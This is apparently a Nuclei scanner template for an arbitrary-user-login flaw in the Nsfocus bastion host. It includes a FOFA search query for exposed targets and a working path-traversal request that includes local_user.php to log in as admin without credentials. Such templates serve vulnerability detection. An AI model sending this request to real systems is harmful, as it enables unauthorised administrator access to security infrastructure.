nsfocus-auth-bypass: Nsfocus - Arbitrary User Login

id: nsfocus-auth-bypass

info:
  name: Nsfocus - Arbitrary User Login
  author: ritikchaddha
  severity: high
  description: |
    Nsfocus bastion host has an arbitrary user login vulnerability. Attackers can use the vulnerability to log in any user by including www/local_user.php
  reference:
    - https://forum.butian.net/article/251
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/needUsbkey.php?username=" && "NSFOCUS"
  tags: nsfocus,auth-bypass,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(body), 'nsfocus')"
          - "contains(header, 'NSFOCUS')"
        condition: or
        internal: true

  - raw:
      - |
        GET /api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'status": 200'

      - type: word
        part: content_type
        words:
          - application/json
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